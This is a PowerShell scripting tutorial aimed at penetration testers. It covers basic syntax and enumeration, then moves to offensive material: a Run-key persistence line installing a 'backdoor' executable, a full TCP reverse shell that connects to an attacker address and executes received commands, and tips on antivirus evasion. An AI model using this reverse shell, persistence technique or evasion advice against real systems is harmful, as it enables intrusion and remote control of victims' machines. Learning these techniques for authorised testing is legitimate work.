PowerShell Scripting
📘 Table of Contents
- What is PowerShell?
- Why Pentesters Must Learn PowerShell
- Running PowerShell Scripts Safely
- Basic Syntax and Output
- Variables and Data Types
- User Input and Script Arguments
- Conditional Logic (if/else)
- Loops (for, foreach, while)
- Functions in PowerShell
- Working with Files and Output
- Networking and Enumeration Scripts
- Post-Exploitation Use Cases
- Real-World Offensive PowerShell Payloads
- Tips, Tricks & Pitfalls
- Practice Tasks
1. What is PowerShell?
PowerShell is a scripting language and command-line shell designed for system administration and automation in Windows environments. Built on the .NET framework, it gives you deep access to the system — making it a power tool for pentesters.
2. Why Pentesters Must Learn PowerShell
- Deep interaction with Windows internals
- Bypass GUI limitations during post-exploitation
- Enumerate users, groups, shares, services, and more
- Use tools like PowerView, PowerUp, Nishang
- Build stealthy payloads, persistence, and lateral movement scripts
3. Running PowerShell Scripts Safely
Set-ExecutionPolicy Bypass -Scope Process # Temporarily allow script execution (doesn’t affect system-wide policy)
.\script.ps1 # Run the PowerShell script in the current directory
4. Basic Syntax and Output
Write-Output "Hello, world!" # Prints text to the console
"Hello again!" # Implicit output — PowerShell will display it anyway
# This is a comment # Comments start with #
5. Variables and Data Types
$name = "Wilko" # String assignment
$port = 8080 # Integer assignment
$isAdmin = $true # Boolean (true/false)
Write-Output "Username: $name" # Referencing a variable inside a string
6. User Input and Script Arguments
$name = Read-Host "Enter your name" # Prompt the user for input
Write-Output "Hello, $name" # Output the value the user typed
Using Parameters in a Script
param(
[string]$ip,
[int]$port
)
Write-Output "Target IP: $ip, Port: $port" # Access parameters passed at runtime
Run it like:
.\myscript.ps1 -ip 192.168.1.100 -port 80 # Providing parameters when calling the script
7. Conditional Logic (if/else)
if ($isAdmin) {
Write-Output "You are admin" # Runs if $isAdmin is $true
} else {
Write-Output "You are not admin" # Runs if $isAdmin is $false
}
8. Loops (for, foreach, while)
For Loop
for ($i = 1; $i -le 5; $i++) {
Write-Output "Attempt $i" # Repeats this block 5 times
}
Foreach Loop
$ips = "192.168.1.1", "192.168.1.2"
foreach ($ip in $ips) {
Test-Connection $ip -Count 1 # Ping each IP once
}
While Loop
$count = 0
while ($count -lt 3) {
Write-Output "Try #$count" # Loop continues while $count < 3
$count++ # Increment counter
}
9. Functions in PowerShell
function Say-Hello {
param([string]$Name) # Define a function with a parameter
Write-Output "Hello, $Name"
}
Say-Hello -Name "Pentester" # Call the function with an argument
10. Working with Files and Output
Get-Content "C:\users.txt" # Reads the content of a file
"New log entry" | Out-File "loot.txt" # Writes to a file (overwrites)
Add-Content "loot.txt" "Another line" # Appends a line to the file
11. Networking and Enumeration Scripts
Basic System Recon
Write-Output "Current user: $(whoami)" # Get current user
Get-NetIPAddress # Show IP addresses
Get-WmiObject Win32_OperatingSystem # Show OS details
List Local Users
Get-LocalUser # List all local user accounts
List Running Processes
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 # Show top 5 CPU-hogging processes
12. Post-Exploitation Use Cases
Search for Interesting Files
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match "password" } # Recursively find files with 'password' in the name
Scheduled Task Enumeration
Get-ScheduledTask # List all scheduled tasks
Registry Persistence
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "backdoor" -Value "C:\evil\backdoor.exe" # Adds persistence by setting a startup entry
13. Real-World Offensive PowerShell Payloads
PowerShell Reverse Shell (TCP)
# WARNING: This is a basic reverse shell — easily detected by AV
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",4444); # Connect to attacker machine
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0}; # Create buffer
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ # Read input from attacker
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); # Decode command
$sendback = (iex $data 2>&1 | Out-String ); # Execute command
$sendback2 = $sendback + "PS " + (pwd).Path + "> "; # Prepare output
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); # Encode response
$stream.Write($sendbyte,0,$sendbyte.Length); # Send output to attacker
$stream.Flush();
}
$client.Close()
14. Tips, Tricks & Pitfalls
✅ Use Get-Command to find available cmdlets
✅ Use Get-Help <cmdlet> for syntax help
✅ -ErrorAction SilentlyContinue suppresses noisy errors
✅ Use iex carefully — it evaluates strings as code
✅ Obfuscate for AV evasion (e.g., with Invoke-Obfuscation)
15. Practice Tasks
🎯 Try building scripts for:
- Local user and group enumeration
- SUID or writable service checker
- Registry value searcher
- Basic AV-evasion launcher
- Persistence script that sets up a scheduled task
